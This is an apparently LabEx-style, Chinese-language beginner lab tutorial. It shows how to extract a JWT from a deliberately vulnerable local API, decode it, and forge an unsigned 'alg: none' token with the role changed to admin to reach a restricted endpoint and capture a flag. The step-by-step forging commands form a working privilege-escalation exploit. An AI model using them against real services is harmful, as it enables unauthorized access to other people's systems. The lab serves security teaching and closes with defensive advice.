JWT 操作基础

网络安全Beginner
立即练习

简介

JSON Web Token (JWT) 是一种开放标准,用于在客户端和服务器这两个主体之间共享安全信息。每个 JWT 都包含编码后的 JSON 对象,其中包括一组声明(claims)。JWT 使用加密算法进行签名,以确保令牌颁发后声明内容无法被篡改。

这里最重要的一项入门知识是:JWT 的内容通常是编码的,而非加密的。任何持有令牌的人通常都能读取其中的声明。其安全性源于签名验证,而非保密性。

然而,如果 JWT 库实现不当,可能会导致严重的安全漏洞。其中最臭名昭著的漏洞之一是“None”算法攻击。如果服务器支持 none 算法,攻击者可以修改令牌的负载(例如将用户角色更改为“admin”),将算法设置为 none,并移除签名。随后,服务器会将伪造的令牌视为有效。

在本实验中,你将与一个存在漏洞的本地 API 进行交互。你将学习如何提取 JWT、解码其 Base64Url 结构、篡改负载以提升权限,并利用“none”算法漏洞获取未经授权的管理员访问权限。

拦截并提取 JWT

在此步骤中,你将与运行在本地的 API 服务器进行交互。该服务器有一个登录端点,会为普通用户颁发 JSON Web Token (JWT)。你的首要任务是请求此令牌并将其保存,以便后续分析。

JWT 通常在 HTTP Authorization 请求头中以 Bearer 令牌的形式发送,但它最初是在成功身份验证后提供给客户端的。我们将使用 curl 命令行工具来模拟登录请求。

在终端中运行以下命令以访问登录端点:

curl -s http://127.0.0.1:5000/api/login

你应该会看到一个 JSON 响应,其中包含一个由两个句点 (.) 分隔的长字符串。这个字符串就是 JWT。

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

为了方便在后续步骤中使用此令牌,我们将其提取出来并保存到名为 token.txt 的文件中。我们可以使用带有正则表达式的 grep 命令来解析 JSON 输出。

执行以下命令以保存令牌:

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

你可以通过显示文件内容来验证令牌是否已正确保存:

cat token.txt

请妥善保管此令牌,我们将在下一步中剖析其结构。

解码 JWT 结构

在此步骤中,你将把 JWT 拆解为核心组件并进行解码,以了解其中携带的信息。

标准的 JWT 由三个部分组成,中间以点 (.) 分隔。第一部分是头部(Header),包含有关令牌的元数据,例如所使用的签名算法(如 HS256)。第二部分是负载(Payload),包含实际的声明或数据,如用户名、角色和过期时间。最后一部分是签名(Signature),用于验证 JWT 发送者的身份,并确保消息在传输过程中未被更改。

这种分离非常重要,因为许多 JWT 攻击都针对人们对“哪部分可以安全更改”与“哪部分必须进行加密保护”的混淆。

头部和负载使用 Base64Url 编码。这意味着它们并未加密;任何拦截到令牌的人都可以轻松解码并读取其中的内容。

这就是为什么敏感的授权决策绝不能依赖于声明的隐藏,而必须依赖于签名的正确验证。

首先,我们将令牌拆分为头部和负载组件,并将它们保存到单独的文件中。我们将使用 cut 命令按 . 分隔符拆分字符串。在 JWT 中,点字符分隔了三个部分,因此 cut 是一种无需特殊 JWT 工具即可快速剥离令牌的方法。

## 提取第一部分(头部)
cat token.txt | cut -d '.' -f 1 > header.b64

## 提取第二部分(负载)
cat token.txt | cut -d '.' -f 2 > payload.b64

现在,让我们解码头部。由于 Base64Url 编码有时会舍弃末尾的填充字符 (=),标准的 Base64 解码工具可能会报错。对于我们当前的头部,其长度完全对齐,因此我们可以直接使用 base64 -d 命令进行解码:

cat header.b64 | base64 -d

你应该会看到类似以下的输出,表明该令牌使用了 HS256 算法:

{"alg":"HS256","typ":"JWT"}

接下来,解码负载。负载字符串可能需要填充才能被标准的 base64 工具成功解码。我们可以追加 == 以确保其正确解码:

echo "$(cat payload.b64)==" | base64 -d

输出将显示令牌内部的声明:

{"username":"guest","role":"user"}

请注意,你当前的角色被设置为 user。如果你尝试使用此令牌访问 /api/admin 端点,你将被拒绝访问。你可以通过运行以下命令进行测试:

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

服务器将返回访问被拒绝的错误。在接下来的步骤中,我们将篡改这些解码后的部分以绕过此限制。

利用 'None' 算法

在此步骤中,你将通过修改 JWT 头部来利用 none 算法漏洞,从而准备攻击的第一部分。

当服务器验证 JWT 时,它会检查头部中的 alg(算法)字段,以确定用于创建签名的加密算法。一些配置不当的 JWT 库支持一种名为 none 的算法。如果攻击者将 alg 字段更改为 none,服务器可能会完全跳过签名验证过程。这使得攻击者无需服务器的密钥即可生成有效签名,从而修改负载。

让我们创建一个指定 none 算法的新 JSON 头部。

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

现在,我们需要将这个新的 JSON 字符串重新编码为 Base64Url 格式。Base64Url 与标准 Base64 略有不同:它移除了末尾的 = 填充字符,将 + 替换为 -,并将 / 替换为 _。

我们可以结合使用标准的 Linux 命令来实现此编码:base64 用于初始编码,tr 用于转换和删除特定字符。

运行以下命令以编码新头部:

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

让我们验证一下新编码头部的内容:

cat new_header.b64

你应该会看到以下 Base64Url 字符串:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

该字符串代表我们的恶意头部。通过使用此头部,我们指示存在漏洞的 API 服务器不要验证我们令牌的签名。

修改负载声明(管理员角色)

在最后一步中,你将修改 JWT 负载以提升权限,组装伪造的令牌,并使用它访问受限的管理员端点。

之前我们发现负载中包含 "role":"user"。我们希望将其更改为 "role":"admin"。

首先,创建一个包含修改后负载的新 JSON 文件:

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

接下来,就像处理头部一样,我们需要将这个新负载编码为 Base64Url 格式。我们将使用与之前相同的 base64 和 tr 命令组合:

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

你可以通过运行以下命令查看编码后的负载:

cat new_payload.b64

现在我们有了恶意头部 (new_header.b64) 和提升权限后的负载 (new_payload.b64)。最后一步是构建最终的 JWT。

请记住,JWT 的格式是 Header.Payload.Signature。由于我们使用的是 none 算法,因此没有签名。但是,服务器仍然期望令牌具有由点分隔的三个部分。因此,我们伪造的令牌看起来将是 Header.Payload.。末尾的点很重要,因为它即使在签名部分为空的情况下,也能保持令牌符合预期的三部分结构。

让我们组装伪造的令牌并将其保存到文件中:

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

验证令牌格式是否正确:

cat forged_token.txt

最后,是时候测试我们的攻击了。我们将向受限的 /api/admin 端点发送请求,并在 Authorization 请求头中传递我们伪造的令牌。

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

如果攻击成功,服务器将接受 none 算法,跳过签名检查,将你的角色读取为 admin,并授予你访问权限。你应该会看到一条包含秘密 flag 的成功消息!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

总结

恭喜!你已成功完成了 JWT 操作基础实验。

在本实验中,你学习了如何:

  • 从 API 响应中拦截并提取 JSON Web Token。
  • 剖析 JWT 的结构,并解码其 Base64Url 编码的头部和负载。
  • 理解“none”算法漏洞带来的严重安全隐患。
  • 通过篡改负载声明并绕过签名验证,手动制作恶意 JWT 以实现权限提升。

这些技能对于理解 API 安全性以及在渗透测试或安全审计期间识别身份验证缺陷至关重要。在本实验中,你通过将算法设置为 none 来滥用了一种薄弱的验证模式。在其他场景中,如果攻击者以某种方式获取了真实的签名密钥并生成了他们自己的有效令牌,也可能达到类似的结果。请务必确保你的应用程序强制执行严格的算法验证,妥善保护签名密钥,并永远不要在生产环境中接受 none 算法。